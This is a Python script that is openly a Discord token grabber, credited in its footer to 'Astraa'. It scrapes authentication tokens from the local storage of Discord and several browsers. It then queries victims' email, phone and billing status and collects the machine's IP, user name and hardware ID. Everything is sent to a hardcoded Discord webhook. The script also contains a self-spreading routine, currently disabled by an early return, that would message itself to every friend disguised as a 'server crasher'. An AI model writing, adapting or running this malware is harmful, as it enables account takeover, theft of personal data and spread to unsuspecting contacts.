| import os
|
| if os.name != "nt":
|
| exit()
|
| from re import findall
|
| from json import loads, dumps
|
| from base64 import b64decode
|
| from subprocess import Popen, PIPE
|
| from urllib.request import Request, urlopen
|
| from datetime import datetime
|
| from threading import Thread
|
| from time import sleep
|
| from sys import argv
|
| LOCAL = os.getenv("LOCALAPPDATA")
|
| ROAMING = os.getenv("APPDATA")
|
| PATHS = {
|
| "Discord" : ROAMING + "\\Discord",
|
| "Discord Canary" : ROAMING + "\\discordcanary",
|
| "Discord PTB" : ROAMING + "\\discordptb",
|
| "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",
|
| "Opera" : ROAMING + "\\Opera Software\\Opera Stable",
|
| "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
|
| "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default"
|
| }
|
| def getheaders(token=None, content_type="application/json"):
|
| headers = {
|
| "Content-Type": content_type,
|
| "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
|
| }
|
| if token:
|
| headers.update({"Authorization": token})
|
| return headers
|
| def getuserdata(token):
|
| try:
|
| return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
|
| except:
|
| pass
|
| def gettokens(path):
|
| path += "\\Local Storage\\leveldb"
|
| tokens = []
|
| for file_name in os.listdir(path):
|
| if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
|
| continue
|
| for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
|
| for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
|
| for token in findall(regex, line):
|
| tokens.append(token)
|
| return tokens
|
| def getdeveloper():
|
| dev = "wodx"
|
| try:
|
| dev = urlopen(Request("https://pastebin.com/raw/ssFxiejv")).read().decode()
|
| except:
|
| pass
|
| return dev
|
| def getip():
|
| ip = "None"
|
| try:
|
| ip = urlopen(Request("https://api.ipify.org")).read().decode().strip()
|
| except:
|
| pass
|
| return ip
|
| def getavatar(uid, aid):
|
| url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif"
|
| try:
|
| urlopen(Request(url))
|
| except:
|
| url = url[:-4]
|
| return url
|
| def gethwid():
|
| p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
|
| return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]
|
| def getfriends(token):
|
| try:
|
| return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
|
| except:
|
| pass
|
| def getchat(token, uid):
|
| try:
|
| return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
|
| except:
|
| pass
|
| def has_payment_methods(token):
|
| try:
|
| return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)
|
| except:
|
| pass
|
| def send_message(token, chat_id, form_data):
|
| try:
|
| urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode()
|
| except:
|
| pass
|
| def spread(token, form_data, delay):
|
| return
|
| for friend in getfriends(token):
|
| try:
|
| chat_id = getchat(token, friend["id"])
|
| send_message(token, chat_id, form_data)
|
| except Exception as e:
|
| pass
|
| sleep(delay)
|
| def main():
|
| cache_path = ROAMING + "\\.cache~$"
|
| prevent_spam = True
|
| self_spread = True
|
| embeds = []
|
| working = []
|
| checked = []
|
| already_cached_tokens = []
|
| working_ids = []
|
| ip = getip()
|
| pc_username = os.getenv("UserName")
|
| pc_name = os.getenv("COMPUTERNAME")
|
| user_path_name = os.getenv("userprofile").split("\\")[2]
|
| developer = getdeveloper()
|
| for platform, path in PATHS.items():
|
| if not os.path.exists(path):
|
| continue
|
| for token in gettokens(path):
|
| if token in checked:
|
| continue
|
| checked.append(token)
|
| uid = None
|
| if not token.startswith("mfa."):
|
| try:
|
| uid = b64decode(token.split(".")[0].encode()).decode()
|
| except:
|
| pass
|
| if not uid or uid in working_ids:
|
| continue
|
| user_data = getuserdata(token)
|
| if not user_data:
|
| continue
|
| working_ids.append(uid)
|
| working.append(token)
|
| username = user_data["username"] + "#" + str(user_data["discriminator"])
|
| user_id = user_data["id"]
|
| avatar_id = user_data["avatar"]
|
| avatar_url = getavatar(user_id, avatar_id)
|
| email = user_data.get("email")
|
| phone = user_data.get("phone")
|
| nitro = bool(user_data.get("premium_type"))
|
| billing = bool(has_payment_methods(token))
|
| embed = {
|
| "color": 0x7289da,
|
| "fields": [
|
| {
|
| "name": "**Account Info**",
|
| "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}',
|
| "inline": True
|
| },
|
| {
|
| "name": "**PC Info**",
|
| "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}',
|
| "inline": True
|
| },
|
| {
|
| "name": "**Token**",
|
| "value": token,
|
| "inline": False
|
| }
|
| ],
|
| "author": {
|
| "name": f"{username} ({user_id})",
|
| "icon_url": avatar_url
|
| },
|
| "footer": {
|
| "text": f"Token Grabber By Astraa",
|
| }
|
| }
|
| embeds.append(embed)
|
| with open(cache_path, "a") as file:
|
| for token in checked:
|
| if not token in already_cached_tokens:
|
| file.write(token + "\n")
|
| if len(working) == 0:
|
| working.append('123')
|
| webhook = {
|
| "content": "",
|
| "embeds": embeds,
|
| "username": "Discord Token Grabber",
|
| "avatar_url": "https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png"
|
| }
|
| try:
|
| urlopen(Request("https://discord.com/api/webhooks/939315276082716692/m-Vzw9QZR5ILKiDmkGw-dWejBY7VDByottRNq6pqVpcqa9egHtpXssVq5Jx9eskSV6wy", data=dumps(webhook).encode(), headers=getheaders()))
|
| except:
|
| pass
|
| if self_spread:
|
| for token in working:
|
| with open(argv[0], encoding="utf-8") as file:
|
| content = file.read()
|
| payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'
|
| Thread(target=spread, args=(token, payload, 7500 / 1000)).start()
|
| try:
|
| main()
|
| except Exception as e:
|
| print(e)
|
| pass |